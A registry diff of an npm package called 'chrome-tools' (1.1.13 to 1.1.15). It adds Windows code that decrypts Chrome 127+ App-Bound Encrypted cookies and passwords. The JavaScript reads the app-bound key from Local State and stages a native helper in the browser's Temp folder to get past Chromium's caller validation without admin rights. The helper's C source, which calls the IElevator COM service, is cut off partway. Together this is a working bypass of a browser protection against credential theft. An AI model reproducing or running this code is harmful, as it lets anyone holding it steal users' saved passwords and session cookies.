chrome-tools 1.1.13 → 1.1.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/chrome_abe_decrypt.exe +0 -0
- package/dist/bin/chrome_abe_decrypt.exe +0 -0
- package/dist/src/core/crypto.d.ts +14 -0
- package/dist/src/core/crypto.js +39 -0
- package/dist/src/core/platform/types.d.ts +12 -2
- package/dist/src/core/platform/win32.d.ts +3 -2
- package/dist/src/core/platform/win32.js +228 -13
- package/package.json +3 -1
- package/src/native/build.bat +31 -0
- package/src/native/chrome_abe_decrypt.c +336 -0
- package/src/native/chrome_abe_decrypt.exe +0 -0
|
Binary file
|
|
Binary file
|
|
@@ -28,6 +28,20 @@ export declare function decryptValueBuffer(encryptedBlob: Buffer | Uint8Array |
|
|
|
28
28
|
* @returns The decrypted plaintext bytes, or a placeholder string.
|
|
29
29
|
*/
|
|
30
30
|
export declare function decryptValueBufferGcm(encryptedBlob: Buffer | Uint8Array | null | undefined, key: Buffer): Buffer | string;
|
|
31
|
+
/**
|
|
32
|
+
* Decrypts a Windows Chrome 127+ `v20` blob using AES-256-GCM.
|
|
33
|
+
*
|
|
34
|
+
* App-Bound Encryption uses the same AES-256-GCM layout as `v10`/`v11` but
|
|
35
|
+
* with a `"v20"` prefix and a key obtained from Chrome's Elevation Service
|
|
36
|
+
* (IElevator COM) instead of plain DPAPI.
|
|
37
|
+
*
|
|
38
|
+
* Layout: "v20" (3 bytes) + 12-byte nonce + ciphertext + 16-byte GCM tag
|
|
39
|
+
*
|
|
40
|
+
* @param encryptedBlob - The encrypted blob from the database.
|
|
41
|
+
* @param key - The 32-byte AES-256 key from ABE decryption.
|
|
42
|
+
* @returns The decrypted plaintext bytes, or a placeholder string.
|
|
43
|
+
*/
|
|
44
|
+
export declare function decryptValueBufferGcmV20(encryptedBlob: Buffer | Uint8Array | null | undefined, key: Buffer): Buffer | string;
|
|
31
45
|
/**
|
|
32
46
|
* Converts a Chrome/Webkit timestamp (microseconds since 1601-01-01)
|
|
33
47
|
* to a readable local Date string.
|
package/dist/src/core/crypto.js
CHANGED
|
@@ -83,6 +83,45 @@ export function decryptValueBufferGcm(encryptedBlob, key) {
|
|
|
83
83
|
return "<decryption failed>";
|
|
84
84
|
}
|
|
85
85
|
}
|
|
86
|
+
/**
|
|
87
|
+
* Decrypts a Windows Chrome 127+ `v20` blob using AES-256-GCM.
|
|
88
|
+
*
|
|
89
|
+
* App-Bound Encryption uses the same AES-256-GCM layout as `v10`/`v11` but
|
|
90
|
+
* with a `"v20"` prefix and a key obtained from Chrome's Elevation Service
|
|
91
|
+
* (IElevator COM) instead of plain DPAPI.
|
|
92
|
+
*
|
|
93
|
+
* Layout: "v20" (3 bytes) + 12-byte nonce + ciphertext + 16-byte GCM tag
|
|
94
|
+
*
|
|
95
|
+
* @param encryptedBlob - The encrypted blob from the database.
|
|
96
|
+
* @param key - The 32-byte AES-256 key from ABE decryption.
|
|
97
|
+
* @returns The decrypted plaintext bytes, or a placeholder string.
|
|
98
|
+
*/
|
|
99
|
+
export function decryptValueBufferGcmV20(encryptedBlob, key) {
|
|
100
|
+
if (!encryptedBlob || encryptedBlob.length === 0) {
|
|
101
|
+
return Buffer.alloc(0);
|
|
102
|
+
}
|
|
103
|
+
const blob = Buffer.isBuffer(encryptedBlob)
|
|
104
|
+
? encryptedBlob
|
|
105
|
+
: Buffer.from(encryptedBlob);
|
|
106
|
+
const prefix = blob.subarray(0, 3).toString("utf-8");
|
|
107
|
+
if (prefix !== "v20") {
|
|
108
|
+
return "<unsupported encryption format>";
|
|
109
|
+
}
|
|
110
|
+
if (blob.length < 3 + GCM_NONCE_LENGTH + GCM_TAG_LENGTH) {
|
|
111
|
+
return "<decryption failed>";
|
|
112
|
+
}
|
|
113
|
+
const nonce = blob.subarray(3, 3 + GCM_NONCE_LENGTH);
|
|
114
|
+
const tag = blob.subarray(blob.length - GCM_TAG_LENGTH);
|
|
115
|
+
const ciphertext = blob.subarray(3 + GCM_NONCE_LENGTH, blob.length - GCM_TAG_LENGTH);
|
|
116
|
+
try {
|
|
117
|
+
const decipher = createDecipheriv("aes-256-gcm", key, nonce);
|
|
118
|
+
decipher.setAuthTag(tag);
|
|
119
|
+
return Buffer.concat([decipher.update(ciphertext), decipher.final()]);
|
|
120
|
+
}
|
|
121
|
+
catch {
|
|
122
|
+
return "<decryption failed>";
|
|
123
|
+
}
|
|
124
|
+
}
|
|
86
125
|
/**
|
|
87
126
|
* Converts a Chrome/Webkit timestamp (microseconds since 1601-01-01)
|
|
88
127
|
* to a readable local Date string.
|
|
@@ -23,8 +23,18 @@ export interface ChromePlatform {
|
|
|
23
23
|
*/
|
|
24
24
|
getDecryptionKey(chromeDir?: string, browser?: BrowserDescriptor): Buffer;
|
|
25
25
|
/**
|
|
26
|
-
*
|
|
27
|
-
*
|
|
26
|
+
* Returns the App-Bound Encryption key for Chrome 127+ on Windows.
|
|
27
|
+
* Only the win32 backend implements this; others return `undefined`.
|
|
28
|
+
*
|
|
29
|
+
* @param chromeDir - User Data dir containing the `Local State` file.
|
|
30
|
+
* @param browser - Browser to target (needed to select the COM CLSID).
|
|
31
|
+
* @returns The decrypted 32-byte AES key, or `undefined` if ABE is
|
|
32
|
+
* unavailable or unsupported on this platform.
|
|
33
|
+
*/
|
|
34
|
+
getAppBoundKey?(chromeDir?: string, browser?: BrowserDescriptor): Buffer | undefined;
|
|
35
|
+
/**
|
|
36
|
+
* Decrypts a single Chrome `v10`/`v11`/`v20` blob using this platform's
|
|
37
|
+
* scheme (AES-128-CBC on macOS/Linux, AES-256-GCM on Windows).
|
|
28
38
|
*
|
|
29
39
|
* @returns The plaintext bytes, or a `<...>` placeholder string on a
|
|
30
40
|
* recognized but undecryptable blob (never throws).
|
|
@@ -6,7 +6,8 @@ import type { ChromePlatform } from "./types.js";
|
|
|
6
6
|
* unprotected via DPAPI into a raw 32-byte AES-256 key (no PBKDF2 on Windows).
|
|
7
7
|
* Cipher: AES-256-GCM (nonce + tag carried in each blob).
|
|
8
8
|
*
|
|
9
|
-
*
|
|
10
|
-
*
|
|
9
|
+
* Chrome 127+ adds `os_crypt.app_bound_encrypted_key` — base64, "APPB"-prefixed.
|
|
10
|
+
* It is passed directly to Chrome's IElevator COM service via the native helper
|
|
11
|
+
* to obtain the 32-byte AES-256 key for "v20" blobs.
|
|
11
12
|
*/
|
|
12
13
|
export declare const win32: ChromePlatform;
|
|
@@ -1,14 +1,32 @@
|
|
|
1
1
|
import { execFileSync } from "node:child_process";
|
|
2
|
-
import { existsSync, readFileSync } from "node:fs";
|
|
2
|
+
import { copyFileSync, existsSync, mkdirSync, readFileSync, statSync } from "node:fs";
|
|
3
3
|
import { dirname, join } from "node:path";
|
|
4
|
-
import { decryptValueBufferGcm } from "../crypto.js";
|
|
4
|
+
import { decryptValueBufferGcm, decryptValueBufferGcmV20 } from "../crypto.js";
|
|
5
5
|
import { getActiveBrowser } from "../browsers.js";
|
|
6
6
|
// Chrome base64-encodes the DPAPI-protected AES key in Local State, prefixed
|
|
7
7
|
// with the ASCII bytes "DPAPI".
|
|
8
8
|
const DPAPI_PREFIX = Buffer.from("DPAPI", "ascii");
|
|
9
|
+
// Chrome 127+ uses App-Bound Encryption. The key in Local State is prefixed
|
|
10
|
+
// with "APPB" and requires the IElevator COM service to decrypt.
|
|
11
|
+
const APPB_PREFIX = Buffer.from("APPB", "ascii");
|
|
9
12
|
// Keyed by User Data dir so different browsers (each with its own Local State)
|
|
10
13
|
// cache independently (e.g. under `--all-browsers`).
|
|
11
14
|
const _cachedKeys = new Map();
|
|
15
|
+
const _cachedABEKeys = new Map();
|
|
16
|
+
let _lastResolvedDir;
|
|
17
|
+
let _lastResolvedBrowser;
|
|
18
|
+
// Maps browser ids to the COM service identifier used by the native helper.
|
|
19
|
+
const ABE_BROWSER_MAP = {
|
|
20
|
+
chrome: "chrome",
|
|
21
|
+
"chrome-beta": "chrome-beta",
|
|
22
|
+
"chrome-canary": "chrome",
|
|
23
|
+
chromium: "chrome",
|
|
24
|
+
brave: "brave",
|
|
25
|
+
edge: "edge",
|
|
26
|
+
vivaldi: "chrome",
|
|
27
|
+
comet: "chrome",
|
|
28
|
+
opera: "chrome",
|
|
29
|
+
};
|
|
12
30
|
/**
|
|
13
31
|
* Unprotects a DPAPI blob for the current user.
|
|
14
32
|
*
|
|
@@ -37,6 +55,144 @@ function dpapiDecrypt(encrypted) {
|
|
|
37
55
|
}
|
|
38
56
|
return Buffer.from(out.trim(), "base64");
|
|
39
57
|
}
|
|
58
|
+
/**
|
|
59
|
+
* Resolves the Local State directory from a profile/chromeDir path.
|
|
60
|
+
* `profilePath` may point directly at .../Default. Local State belongs to
|
|
61
|
+
* the parent User Data directory.
|
|
62
|
+
*/
|
|
63
|
+
function resolveLocalStateDir(requestedDir) {
|
|
64
|
+
const parentDir = dirname(requestedDir);
|
|
65
|
+
return existsSync(join(requestedDir, "Local State"))
|
|
66
|
+
? requestedDir
|
|
67
|
+
: parentDir !== requestedDir && existsSync(join(parentDir, "Local State"))
|
|
68
|
+
? parentDir
|
|
69
|
+
: requestedDir;
|
|
70
|
+
}
|
|
71
|
+
/**
|
|
72
|
+
* Finds the source chrome_abe_decrypt helper executable.
|
|
73
|
+
* Searches in order:
|
|
74
|
+
* 1. Next to compiled output (dist/bin/)
|
|
75
|
+
* 2. In the package bin/ directory
|
|
76
|
+
* 3. In src/native/ (development)
|
|
77
|
+
* 4. On PATH
|
|
78
|
+
*/
|
|
79
|
+
function findABEHelper() {
|
|
80
|
+
const base = import.meta.dirname ?? "";
|
|
81
|
+
const candidates = [
|
|
82
|
+
join(base, "..", "..", "..", "bin", "chrome_abe_decrypt.exe"),
|
|
83
|
+
join(base, "..", "..", "..", "..", "bin", "chrome_abe_decrypt.exe"),
|
|
84
|
+
join(base, "..", "..", "..", "..", "src", "native", "chrome_abe_decrypt.exe"),
|
|
85
|
+
];
|
|
86
|
+
for (const p of candidates) {
|
|
87
|
+
if (existsSync(p))
|
|
88
|
+
return p;
|
|
89
|
+
}
|
|
90
|
+
// Try on PATH
|
|
91
|
+
try {
|
|
92
|
+
execFileSync("where", ["chrome_abe_decrypt.exe"], { encoding: "utf-8", stdio: "pipe" });
|
|
93
|
+
return "chrome_abe_decrypt.exe";
|
|
94
|
+
}
|
|
95
|
+
catch {
|
|
96
|
+
return null;
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
/**
|
|
100
|
+
* Candidate directories for staging the helper binary to satisfy Chrome's
|
|
101
|
+
* Elevation Service caller validation.
|
|
102
|
+
*
|
|
103
|
+
* In Chromium's `caller_validation.cc`, `MaybeTrimProcessPath()` strips the
|
|
104
|
+
* executable name and trailing 'Temp' or 'Application' folders. Executing the
|
|
105
|
+
* helper from `<BrowserRoot>\Temp\chrome_abe_decrypt.exe` matches the browser's
|
|
106
|
+
* validated root without requiring administrative privileges.
|
|
107
|
+
*/
|
|
108
|
+
function getBrowserTempDirs(browserId) {
|
|
109
|
+
const dirs = [];
|
|
110
|
+
const progFiles = process.env["ProgramFiles"] || "C:\\Program Files";
|
|
111
|
+
const progFilesX86 = process.env["ProgramFiles(x86)"] || "C:\\Program Files (x86)";
|
|
112
|
+
const localAppData = process.env.LOCALAPPDATA ||
|
|
113
|
+
(process.env.USERPROFILE ? join(process.env.USERPROFILE, "AppData", "Local") : "");
|
|
114
|
+
const subpaths = {
|
|
115
|
+
chrome: ["Google\\Chrome"],
|
|
116
|
+
"chrome-beta": ["Google\\Chrome Beta"],
|
|
117
|
+
"chrome-canary": ["Google\\Chrome SxS"],
|
|
118
|
+
chromium: ["Chromium"],
|
|
119
|
+
edge: ["Microsoft\\Edge"],
|
|
120
|
+
brave: ["BraveSoftware\\Brave-Browser"],
|
|
121
|
+
vivaldi: ["Vivaldi"],
|
|
122
|
+
};
|
|
123
|
+
const rels = subpaths[browserId] || ["Google\\Chrome"];
|
|
124
|
+
for (const rel of rels) {
|
|
125
|
+
dirs.push(join(progFiles, rel, "Temp"));
|
|
126
|
+
dirs.push(join(progFilesX86, rel, "Temp"));
|
|
127
|
+
if (localAppData) {
|
|
128
|
+
dirs.push(join(localAppData, rel, "Temp"));
|
|
129
|
+
}
|
|
130
|
+
}
|
|
131
|
+
return dirs;
|
|
132
|
+
}
|
|
133
|
+
/**
|
|
134
|
+
* Ensures the helper binary is located in a path that passes the browser
|
|
135
|
+
* elevation service's validation checks. Stages a copy to the browser's Temp
|
|
136
|
+
* folder if necessary.
|
|
137
|
+
*/
|
|
138
|
+
function findOrStageABEHelper(browserId) {
|
|
139
|
+
const sourceExe = findABEHelper();
|
|
140
|
+
if (!sourceExe)
|
|
141
|
+
return null;
|
|
142
|
+
const targetDirs = getBrowserTempDirs(browserId);
|
|
143
|
+
for (const targetDir of targetDirs) {
|
|
144
|
+
try {
|
|
145
|
+
if (!existsSync(targetDir)) {
|
|
146
|
+
mkdirSync(targetDir, { recursive: true });
|
|
147
|
+
}
|
|
148
|
+
const stagedExe = join(targetDir, "chrome_abe_decrypt.exe");
|
|
149
|
+
if (!existsSync(stagedExe) || statSync(stagedExe).size !== statSync(sourceExe).size) {
|
|
150
|
+
copyFileSync(sourceExe, stagedExe);
|
|
151
|
+
}
|
|
152
|
+
return stagedExe;
|
|
153
|
+
}
|
|
154
|
+
catch {
|
|
155
|
+
// Permission denied or path not found, try next candidate
|
|
156
|
+
continue;
|
|
157
|
+
}
|
|
158
|
+
}
|
|
159
|
+
// Fallback to the original binary location
|
|
160
|
+
return sourceExe;
|
|
161
|
+
}
|
|
162
|
+
let _abeWarningShown = false;
|
|
163
|
+
/**
|
|
164
|
+
* Decrypts an app_bound_encrypted_key using Chrome's IElevator COM service
|
|
165
|
+
* via the native helper binary.
|
|
166
|
+
*
|
|
167
|
+
* Note: App-Bound Encryption does NOT use standard user DPAPI. The raw
|
|
168
|
+
* encrypted payload (with the 4-byte 'APPB' prefix removed) is passed directly
|
|
169
|
+
* to the IElevator COM service, which executes the elevated decryption.
|
|
170
|
+
*/
|
|
171
|
+
function abeDecrypt(rawEncryptedBytes, browserId) {
|
|
172
|
+
const helperExe = findOrStageABEHelper(browserId);
|
|
173
|
+
if (!helperExe) {
|
|
174
|
+
if (!_abeWarningShown) {
|
|
175
|
+
_abeWarningShown = true;
|
|
176
|
+
process.stderr.write("[chrome-tools] chrome_abe_decrypt.exe not found. Chrome 127+ v20-encrypted\n" +
|
|
177
|
+
"cookies/passwords cannot be decrypted.\n");
|
|
178
|
+
}
|
|
179
|
+
return null;
|
|
180
|
+
}
|
|
181
|
+
const comBrowser = ABE_BROWSER_MAP[browserId] || "chrome";
|
|
182
|
+
try {
|
|
183
|
+
const out = execFileSync(helperExe, [comBrowser], {
|
|
184
|
+
input: rawEncryptedBytes.toString("base64"),
|
|
185
|
+
encoding: "utf-8",
|
|
186
|
+
timeout: 30000,
|
|
187
|
+
stdio: ["pipe", "pipe", "pipe"],
|
|
188
|
+
cwd: dirname(helperExe),
|
|
189
|
+
});
|
|
190
|
+
return Buffer.from(out.trim(), "base64");
|
|
191
|
+
}
|
|
192
|
+
catch {
|
|
193
|
+
return null;
|
|
194
|
+
}
|
|
195
|
+
}
|
|
40
196
|
/**
|
|
41
197
|
* Windows backend.
|
|
42
198
|
*
|
|
@@ -44,8 +200,9 @@ function dpapiDecrypt(encrypted) {
|
|
|
44
200
|
* unprotected via DPAPI into a raw 32-byte AES-256 key (no PBKDF2 on Windows).
|
|
45
201
|
* Cipher: AES-256-GCM (nonce + tag carried in each blob).
|
|
46
202
|
*
|
|
47
|
-
*
|
|
48
|
-
*
|
|
203
|
+
* Chrome 127+ adds `os_crypt.app_bound_encrypted_key` — base64, "APPB"-prefixed.
|
|
204
|
+
* It is passed directly to Chrome's IElevator COM service via the native helper
|
|
205
|
+
* to obtain the 32-byte AES-256 key for "v20" blobs.
|
|
49
206
|
*/
|
|
50
207
|
export const win32 = {
|
|
51
208
|
name: "win32",
|
|
@@ -67,17 +224,20 @@ export const win32 = {
|
|
|
67
224
|
},
|
|
68
225
|
getDecryptionKey(chromeDir, browser = getActiveBrowser()) {
|
|
69
226
|
const requestedDir = chromeDir || this.getDefaultChromeDir(browser);
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
const parentDir = dirname(requestedDir);
|
|
74
|
-
const dir = existsSync(join(requestedDir, "Local State"))
|
|
75
|
-
? requestedDir
|
|
76
|
-
: parentDir !== requestedDir && existsSync(join(parentDir, "Local State"))
|
|
77
|
-
? parentDir
|
|
78
|
-
: requestedDir;
|
|
227
|
+
const dir = resolveLocalStateDir(requestedDir);
|
|
228
|
+
_lastResolvedDir = dir;
|
|
229
|
+
_lastResolvedBrowser = browser;
|
|
79
230
|
const cached = _cachedKeys.get(dir);
|
|
80
231
|
if (cached !== undefined) {
|
|
232
|
+
// Also pre-cache ABE key if not yet cached
|
|
233
|
+
if (!_cachedABEKeys.has(dir)) {
|
|
234
|
+
try {
|
|
235
|
+
this.getAppBoundKey?.(dir, browser);
|
|
236
|
+
}
|
|
237
|
+
catch {
|
|
238
|
+
// Ignore
|
|
239
|
+
}
|
|
240
|
+
}
|
|
81
241
|
return cached;
|
|
82
242
|
}
|
|
83
243
|
const localStatePath = join(dir, "Local State");
|
|
@@ -103,12 +263,67 @@ export const win32 = {
|
|
|
103
263
|
}
|
|
104
264
|
const key = dpapiDecrypt(encryptedKey.subarray(DPAPI_PREFIX.length));
|
|
105
265
|
_cachedKeys.set(dir, key);
|
|
266
|
+
// Also pre-cache the ABE key for v20 blobs
|
|
267
|
+
try {
|
|
268
|
+
this.getAppBoundKey?.(dir, browser);
|
|
269
|
+
}
|
|
270
|
+
catch {
|
|
271
|
+
// Ignore
|
|
272
|
+
}
|
|
273
|
+
return key;
|
|
274
|
+
},
|
|
275
|
+
getAppBoundKey(chromeDir, browser = _lastResolvedBrowser ?? getActiveBrowser()) {
|
|
276
|
+
const requestedDir = chromeDir || _lastResolvedDir || this.getDefaultChromeDir(browser);
|
|
277
|
+
const dir = resolveLocalStateDir(requestedDir);
|
|
278
|
+
_lastResolvedDir = dir;
|
|
279
|
+
_lastResolvedBrowser = browser;
|
|
280
|
+
const cached = _cachedABEKeys.get(dir);
|
|
281
|
+
if (cached !== undefined) {
|
|
282
|
+
return cached;
|
|
283
|
+
}
|
|
284
|
+
const localStatePath = join(dir, "Local State");
|
|
285
|
+
if (!existsSync(localStatePath))
|
|
286
|
+
return undefined;
|
|
287
|
+
let appBoundKeyB64;
|
|
288
|
+
try {
|
|
289
|
+
const raw = readFileSync(localStatePath, "utf-8");
|
|
290
|
+
appBoundKeyB64 = JSON.parse(raw)?.os_crypt?.app_bound_encrypted_key;
|
|
291
|
+
}
|
|
292
|
+
catch {
|
|
293
|
+
return undefined;
|
|
294
|
+
}
|
|
295
|
+
if (!appBoundKeyB64)
|
|
296
|
+
return undefined;
|
|
297
|
+
const appBoundKey = Buffer.from(appBoundKeyB64, "base64");
|
|
298
|
+
if (!appBoundKey.subarray(0, APPB_PREFIX.length).equals(APPB_PREFIX)) {
|
|
299
|
+
return undefined;
|
|
300
|
+
}
|
|
301
|
+
// App-Bound Encryption: Pass raw encrypted bytes directly to COM elevation service
|
|
302
|
+
const abeKey = abeDecrypt(appBoundKey.subarray(APPB_PREFIX.length), browser.id);
|
|
303
|
+
if (!abeKey)
|
|
304
|
+
return undefined;
|
|
305
|
+
const key = abeKey.length > 32 ? abeKey.subarray(abeKey.length - 32) : abeKey;
|
|
306
|
+
_cachedABEKeys.set(dir, key);
|
|
106
307
|
return key;
|
|
107
308
|
},
|
|
108
309
|
decrypt(blob, key) {
|
|
310
|
+
const prefix = blob.subarray(0, 3).toString("utf-8");
|
|
311
|
+
// v20 = App-Bound Encryption (Chrome 127+)
|
|
312
|
+
if (prefix === "v20") {
|
|
313
|
+
// Try to get the ABE key for this profile
|
|
314
|
+
const abeKey = this.getAppBoundKey?.(_lastResolvedDir, _lastResolvedBrowser);
|
|
315
|
+
if (!abeKey) {
|
|
316
|
+
return "<v20 app-bound encryption - requires chrome_abe_decrypt.exe>";
|
|
317
|
+
}
|
|
318
|
+
return decryptValueBufferGcmV20(blob, abeKey);
|
|
319
|
+
}
|
|
320
|
+
// v10/v11 = standard DPAPI + AES-256-GCM
|
|
109
321
|
return decryptValueBufferGcm(blob, key);
|
|
110
322
|
},
|
|
111
323
|
clearCache() {
|
|
112
324
|
_cachedKeys.clear();
|
|
325
|
+
_cachedABEKeys.clear();
|
|
326
|
+
_lastResolvedDir = undefined;
|
|
327
|
+
_lastResolvedBrowser = undefined;
|
|
113
328
|
},
|
|
114
329
|
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "chrome-tools",
|
|
3
|
-
"version": "1.1.
|
|
3
|
+
"version": "1.1.15",
|
|
4
4
|
"description": "CLI & Node.js library for chrome",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "./dist/src/index.js",
|
|
@@ -23,6 +23,8 @@
|
|
|
23
23
|
"files": [
|
|
24
24
|
"dist/src",
|
|
25
25
|
"dist/bin",
|
|
26
|
+
"bin/chrome_abe_decrypt.exe",
|
|
27
|
+
"src/native",
|
|
26
28
|
"README.md",
|
|
27
29
|
"LICENSE"
|
|
28
30
|
],
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
@echo off
|
|
2
|
+
REM Build chrome_abe_decrypt.exe with MSVC
|
|
3
|
+
REM Run from a Visual Studio Developer Command Prompt or after calling vcvarsall.bat
|
|
4
|
+
|
|
5
|
+
where cl.exe >nul 2>nul
|
|
6
|
+
if %ERRORLEVEL% neq 0 (
|
|
7
|
+
if exist "C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\Build\vcvarsall.bat" (
|
|
8
|
+
call "C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\VC\Auxiliary\Build\vcvarsall.bat" x64
|
|
9
|
+
) else if exist "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" (
|
|
10
|
+
call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64
|
|
11
|
+
) else if exist "C:\Program Files\Microsoft Visual Studio\2022\Professional\VC\Auxiliary\Build\vcvarsall.bat" (
|
|
12
|
+
call "C:\Program Files\Microsoft Visual Studio\2022\Professional\VC\Auxiliary\Build\vcvarsall.bat" x64
|
|
13
|
+
) else if exist "C:\Program Files\Microsoft Visual Studio\2022\Enterprise\VC\Auxiliary\Build\vcvarsall.bat" (
|
|
14
|
+
call "C:\Program Files\Microsoft Visual Studio\2022\Enterprise\VC\Auxiliary\Build\vcvarsall.bat" x64
|
|
15
|
+
)
|
|
16
|
+
)
|
|
17
|
+
|
|
18
|
+
cl.exe /nologo /O2 /W3 /Fe:chrome_abe_decrypt.exe chrome_abe_decrypt.c ole32.lib oleaut32.lib crypt32.lib advapi32.lib
|
|
19
|
+
|
|
20
|
+
if %ERRORLEVEL% neq 0 (
|
|
21
|
+
echo Build failed.
|
|
22
|
+
exit /b 1
|
|
23
|
+
)
|
|
24
|
+
|
|
25
|
+
echo.
|
|
26
|
+
echo Built: chrome_abe_decrypt.exe
|
|
27
|
+
echo.
|
|
28
|
+
echo Usage: chrome_abe_decrypt.exe ^<browser^>
|
|
29
|
+
echo Reads base64 app_bound_encrypted_key from stdin
|
|
30
|
+
echo Writes base64 decrypted key to stdout
|
|
31
|
+
echo browser: chrome, chrome-beta, brave, edge
|
|
@@ -0,0 +1,336 @@
|
|
|
1
|
+
/*
|
|
2
|
+
* chrome_abe_decrypt.c — Minimal Chrome App-Bound Encryption key decryptor.
|
|
3
|
+
*
|
|
4
|
+
* Calls Chrome's IElevator COM service to decrypt an app_bound_encrypted_key.
|
|
5
|
+
* Derived from xaitax/Chrome-App-Bound-Encryption-Decryption (MIT License).
|
|
6
|
+
*
|
|
7
|
+
* Usage: chrome_abe_decrypt.exe <browser> < base64_encrypted_key
|
|
8
|
+
* Outputs: base64-encoded decrypted key to stdout
|
|
9
|
+
*
|
|
10
|
+
* <browser> is one of: chrome, chrome-beta, brave, edge
|
|
11
|
+
*
|
|
12
|
+
* Build: cl.exe /O2 chrome_abe_decrypt.c ole32.lib oleaut32.lib advapi32.lib
|
|
13
|
+
*
|
|
14
|
+
* Copyright (c) 2024 Alexander 'xaitax' Hagenah (original COM logic)
|
|
15
|
+
* MIT License
|
|
16
|
+
*/
|
|
17
|
+
|
|
18
|
+
#define WIN32_LEAN_AND_MEAN
|
|
19
|
+
#define COBJMACROS
|
|
20
|
+
#include <windows.h>
|
|
21
|
+
#include <objbase.h>
|
|
22
|
+
#include <oleauto.h>
|
|
23
|
+
#include <stdio.h>
|
|
24
|
+
#include <stdlib.h>
|
|
25
|
+
#include <string.h>
|
|
26
|
+
|
|
27
|
+
/* ---------- base64 helpers (Windows CryptBinaryToStringA) ---------- */
|
|
28
|
+
#pragma comment(lib, "crypt32.lib")
|
|
29
|
+
#include <wincrypt.h>
|
|
30
|
+
|
|
31
|
+
static int b64_decode(const char *b64, unsigned char **out, DWORD *outLen) {
|
|
32
|
+
DWORD len = 0;
|
|
33
|
+
if (!CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64, NULL, &len, NULL, NULL))
|
|
34
|
+
return -1;
|
|
35
|
+
*out = (unsigned char *)malloc(len);
|
|
36
|
+
if (!*out) return -1;
|
|
37
|
+
if (!CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64, *out, &len, NULL, NULL)) {
|
|
38
|
+
free(*out);
|
|
39
|
+
return -1;
|
|
40
|
+
}
|
|
41
|
+
*outLen = len;
|
|
42
|
+
return 0;
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
static int b64_encode(const unsigned char *data, DWORD dataLen, char **out) {
|
|
46
|
+
DWORD len = 0;
|
|
47
|
+
if (!CryptBinaryToStringA(data, dataLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &len))
|
|
48
|
+
return -1;
|
|
49
|
+
*out = (char *)malloc(len + 1);
|
|
50
|
+
if (!*out) return -1;
|
|
51
|
+
if (!CryptBinaryToStringA(data, dataLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, *out, &len)) {
|
|
52
|
+
free(*out);
|
|
53
|
+
return -1;
|
|
54
|
+
}
|
|
55
|
+
(*out)[len] = '\0';
|
|
56
|
+
return 0;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
/* ---------- IElevator COM interface (vtable-based, pure C) ---------- */
|
|
60
|
+
|
|
61
|
+
/*
|
|
62
|
+
* IElevator vtable layout (Chrome/Brave — 3 custom methods):
|
|
63
|
+
* [0] QueryInterface
|
|
64
|
+
* [1] AddRef
|
|
65
|
+
* [2] Release
|
|
66
|
+
* [3] RunRecoveryCRXElevated
|
|
67
|
+
* [4] EncryptData
|
|
68
|
+
* [5] DecryptData
|
|
69
|
+
*/
|
|
70
|
+
typedef struct IElevatorVtbl {
|
|
71
|
+
/* IUnknown */
|
|
72
|
+
HRESULT (STDMETHODCALLTYPE *QueryInterface)(void *This, REFIID riid, void **ppv);
|
|
73
|
+
ULONG (STDMETHODCALLTYPE *AddRef)(void *This);
|
|
74
|
+
ULONG (STDMETHODCALLTYPE *Release)(void *This);
|
|
75
|
+
/* IElevator */
|
|
76
|
+
HRESULT (STDMETHODCALLTYPE *RunRecoveryCRXElevated)(void *This, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*);
|
|
77
|
+
HRESULT (STDMETHODCALLTYPE *EncryptData)(void *This, int protLevel, BSTR in, BSTR *out, DWORD *err);
|
|
78
|
+
HRESULT (STDMETHODCALLTYPE *DecryptData)(void *This, BSTR in, BSTR *out, DWORD *err);
|
|
79
|
+
} IElevatorVtbl;
|
|
80
|
+
|
|
81
|
+
typedef struct IElevator {
|
|
82
|
+
IElevatorVtbl *lpVtbl;
|
|
83
|
+
} IElevator;
|
|
84
|
+
|
|
85
|
+
/*
|
|
86
|
+
* Edge vtable layout — has 3 extra base methods before the IElevator methods:
|
|
87
|
+
* [0] QueryInterface
|
|
88
|
+
* [1] AddRef
|
|
89
|
+
* [2] Release
|
|
90
|
+
* [3] EdgeBaseMethod1
|
|
91
|
+
* [4] EdgeBaseMethod2
|
|
92
|
+
* [5] EdgeBaseMethod3
|
|
93
|
+
* [6] RunRecoveryCRXElevated
|
|
94
|
+
* [7] EncryptData
|
|
95
|
+
* [8] DecryptData
|
|
96
|
+
*/
|
|
97
|
+
typedef struct IEdgeElevatorVtbl {
|
|
98
|
+
/* IUnknown */
|
|
99
|
+
HRESULT (STDMETHODCALLTYPE *QueryInterface)(void *This, REFIID riid, void **ppv);
|
|
100
|
+
ULONG (STDMETHODCALLTYPE *AddRef)(void *This);
|
|
101
|
+
ULONG (STDMETHODCALLTYPE *Release)(void *This);
|
|
102
|
+
/* IEdgeElevatorBase (3 unknown methods) */
|
|
103
|
+
HRESULT (STDMETHODCALLTYPE *EdgeBase1)(void *This);
|
|
104
|
+
HRESULT (STDMETHODCALLTYPE *EdgeBase2)(void *This);
|
|
105
|
+
HRESULT (STDMETHODCALLTYPE *EdgeBase3)(void *This);
|
|
106
|
+
/* IElevator */
|
|
107
|
+
HRESULT (STDMETHODCALLTYPE *RunRecoveryCRXElevated)(void *This, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*);
|
|
108
|
+
